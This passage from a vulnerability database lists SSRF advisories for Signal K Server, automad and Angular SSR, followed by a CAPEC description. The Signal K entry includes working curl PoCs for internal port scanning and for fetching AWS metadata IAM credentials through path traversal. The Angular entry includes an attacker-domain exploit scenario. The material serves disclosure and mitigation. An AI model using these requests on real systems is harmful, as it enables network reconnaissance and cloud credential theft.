2339-2345):\n\n```typescript\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)\n```\n\nHowever, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:\n\n```typescript\naddAdminMiddleware: () =\u003e {},\n```\n\nThis means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.\n\n#### Additional Attack Surface: TLS Verification Bypass\n\nThe `selfsignedcert` parameter directly controls `rejectUnauthorized`:\n\n```typescript\nrejectUnauthorized: !selfsignedcert\n```\n\nWhen an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.\n\n#### Additional Attack Surface: Path Traversal in checkAccessRequest\n\nThe `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:\n\n```typescript\n`/signalk/v1/requests/${requestId}`\n```\n\nAn attacker can use path traversal (e.g., `requestId: \"../../other/endpoint\"`) to target arbitrary paths on the destination host.\n\n### PoC\n#### Target Setup\n\nSet up a bare-metal signalk-server for testing (or use Docker to simulate):\n\n```bash\ndocker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \\\n bash -c \u0027npm install -g signalk-server@2.27.0 \u0026\u0026 signalk-server\u0027\n\n# Wait for startup\nuntil curl -s http://127.0.0.1:3000/skServer/loginStatus 2\u003e/dev/null | grep -q \"status\"; do sleep 10; done\n```\n\nSet the target variable:\n\n```bash\nTARGET=http://127.0.0.1:3000\n```\n\nConfirm `\"authenticationRequired\":false` in the loginStatus response before proceeding.\n\n#### PoC 1: Loopback Connection (Self-Discovery)\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\n**Response** (confirms SSRF, the server connected to itself):\n\n```json\n{\n \"success\": true,\n \"authenticated\": false,\n \"server\": {\n \"id\": \"signalk-server-node\",\n \"version\": \"2.27.0\"\n }\n}\n```\n\n#### PoC 2: Port Scanning via Error Differentiation\n\n```bash\n# Open port (3000) \u2014 returns server data\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":true,\"server\":{\"id\":\"signalk-server-node\",\"version\":\"2.27.0\"}}\n\n# Closed port (9999) \u2014 immediate ECONNREFUSED\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":9999,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":false,\"error\":\"connect ECONNREFUSED 127.0.0.1:9999\"}\n\n# Filtered port \u2014 10-second timeout then error\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"10.0.0.1\",\"port\":22,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response (after 10s): {\"success\":false,\"error\":\"Connection timed out\"}\n```\n\nThe three distinct error responses allow an attacker to map internal network topology.\n\n#### PoC 3: AWS Instance Metadata Service (IMDSv1)\n\nOn a cloud-hosted signalk-server (AWS EC2):\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\nThe server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:\n\n```bash\ncurl -s -X POST $TARGET/skServer/checkAccessRequest \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false,\"requestId\":\"../../latest/meta-data/iam/security-credentials/ROLE_NAME\"}\u0027\n```\n\n### Impact\n1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).\n\n2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.\n\n3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.\n\n4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.\n\n5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.",
"id": "GHSA-q59x-jc9f-gfqf",
"modified": "2026-06-18T21:13:36Z",
"published": "2026-06-18T21:13:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints"
}
GHSA-Q5Q3-QM26-9JWM
Vulnerability from github – Published: 2023-12-21 18:30 – Updated: 2024-08-19 20:54automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in importUrl as the import function on the FileController.php file was not properly validating the value of the importUrl argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "automad/automad"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.10.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-7037"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-29T19:32:20Z",
"nvd_published_at": "2023-12-21T17:15:09Z",
"severity": "LOW"
},
"details": "automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in `importUrl` as the `import` function on the `FileController.php` file was not properly validating the value of the `importUrl` argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.",
"id": "GHSA-q5q3-qm26-9jwm",
"modified": "2024-08-19T20:54:51Z",
"published": "2023-12-21T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7037"
},
{
"type": "PACKAGE",
"url": "https://github.com/marcantondahmen/automad"
},
{
"type": "WEB",
"url": "https://github.com/screetsec/VDD/tree/main/Automad%20CMS/Authenticated%20Blind%20SSRF"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.248686"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.248686"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authenticated Blind SSRF in automad/automad"
}
GHSA-Q63Q-PGMF-MXHR
Vulnerability from github – Published: 2025-10-16 21:28 – Updated: 2025-10-16 21:55Impact
The vulnerability is a Server-Side Request Forgery (SSRF) flaw within the URL resolution mechanism of Angular's Server-Side Rendering package (@angular/ssr).
The function createRequestUrl uses the native URL constructor. When an incoming request path (e.g., originalUrl or url) begins with a double forward slash (//) or backslash (\\), the URL constructor treats it as a schema-relative URL. This behavior overrides the security-intended base URL (protocol, host, and port) supplied as the second argument, instead resolving the URL against the scheme of the base URL but adopting the attacker-controlled hostname.
This allows an attacker to specify an external domain in the URL path, tricking the Angular SSR environment into setting the page's virtual location (accessible via DOCUMENT or PlatformLocation tokens) to this attacker-controlled domain. Any subsequent relative HTTP requests made during the SSR process (e.g., using HttpClient.get('assets/data.json')) will be incorrectly resolved against the attacker's domain, forcing the server to communicate with an arbitrary external endpoint.
Exploit Scenario
A request to http://localhost:4200//attacker-domain.com/some-page causes Angular to believe the host is attacker-domain.com. A relative request to api/data then becomes a server-side request to http://attacker-domain.com/api/data.
Patches
@angular/ssr19.2.18@angular/ssr20.3.6@angular/ssr21.0.0-next.8
Mitigation
The application's internal location must be robustly determined from the incoming request. The fix requires sanitizing or validating the request path to prevent it from being interpreted as a schema-relative URL (i.e., ensuring it does not start with //).
Server-Side Middleware
If you can't upgrade to a patched version, implement a middleware on the Node.js/Express server that hosts the Angular SSR application to explicitly reject or sanitize requests where the path begins with a double slash (//).
Example (Express/Node.js):
// Place this middleware before the Angular SSR handler
app.use((req, res, next) => {
if (req.originalUrl?.startsWith('//')) {
// Sanitize by forcing a single slash
req.originalUrl = req.originalUrl.replace(/^\/\/+/, '/');
req.url = req.url.replace(/^\/\/+/, '/');
}
next();
});
References
- Report: https://github.com/angular/angular-cli/issues/31464
- Fix: https://github.com/angular/angular-cli/pull/31474
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@angular/ssr"
},
"ranges": [
{
"events": [
{
"introduced": "19.0.0-next.0"
},
{
"fixed": "19.2.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/ssr"
},
"ranges": [
{
"events": [
{
"introduced": "20.0.0-next.0"
},
{
"fixed": "20.3.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@angular/ssr"
},
"ranges": [
{
"events": [
{
"introduced": "21.0.0-next.0"
},
{
"fixed": "21.0.0-next.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62427"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-16T21:28:19Z",
"nvd_published_at": "2025-10-16T19:15:35Z",
"severity": "HIGH"
},
"details": "### Impact\nThe vulnerability is a **Server-Side Request Forgery (SSRF)** flaw within the URL resolution mechanism of Angular\u0027s Server-Side Rendering package (`@angular/ssr`).\n\nThe function `createRequestUrl` uses the native `URL` constructor. When an incoming request path (e.g., `originalUrl` or `url`) begins with a **double forward slash (`//`) or backslash (`\\\\`)**, the `URL` constructor treats it as a **schema-relative URL**. This behavior overrides the security-intended base URL (protocol, host, and port) supplied as the second argument, instead resolving the URL against the scheme of the base URL but adopting the attacker-controlled hostname.\n\nThis allows an attacker to specify an external domain in the URL path, tricking the Angular SSR environment into setting the page\u0027s virtual location (accessible via `DOCUMENT` or `PlatformLocation` tokens) to this attacker-controlled domain. Any subsequent **relative HTTP requests** made during the SSR process (e.g., using `HttpClient.get(\u0027assets/data.json\u0027)`) will be incorrectly resolved against the attacker\u0027s domain, forcing the server to communicate with an arbitrary external endpoint.\n\n#### Exploit Scenario\nA request to `http://localhost:4200//attacker-domain.com/some-page` causes Angular to believe the host is attacker-domain.com. A relative request to api/data then becomes a server-side request to `http://attacker-domain.com/api/data`.\n\n### Patches\n\n- `@angular/ssr` 19.2.18\n- `@angular/ssr` 20.3.6\n- `@angular/ssr` 21.0.0-next.8\n\n## Mitigation\n\nThe application\u0027s internal location must be robustly determined from the incoming request. The fix requires sanitizing or validating the request path to prevent it from being interpreted as a schema-relative URL (i.e., ensuring it does not start with `//`).\n\n#### Server-Side Middleware\nIf you can\u0027t upgrade to a patched version, implement a **middleware** on the Node.js/Express server that hosts the Angular SSR application to explicitly reject or sanitize requests where the path begins with a double slash (`//`).\n\n**Example (Express/Node.js):**\n\n```ts\n// Place this middleware before the Angular SSR handler\napp.use((req, res, next) =\u003e {\n if (req.originalUrl?.startsWith(\u0027//\u0027)) {\n // Sanitize by forcing a single slash\n req.originalUrl = req.originalUrl.replace(/^\\/\\/+/, \u0027/\u0027);\n req.url = req.url.replace(/^\\/\\/+/, \u0027/\u0027);\n }\n next();\n});\n```\n\n### References\n\n- Report: https://github.com/angular/angular-cli/issues/31464\n- Fix: https://github.com/angular/angular-cli/pull/31474",
"id": "GHSA-q63q-pgmf-mxhr",
"modified": "2025-10-16T21:55:01Z",
"published": "2025-10-16T21:28:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/angular/angular-cli/security/advisories/GHSA-q63q-pgmf-mxhr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62427"
},
{
"type": "WEB",
"url": "https://github.com/angular/angular-cli/commit/5271547c80662de10cb3bcb648779a83f6efedfb"
},
{
"type": "PACKAGE",
"url": "https://github.com/angular/angular-cli"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Angular SSR has a Server-Side Request Forgery (SSRF) flaw"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.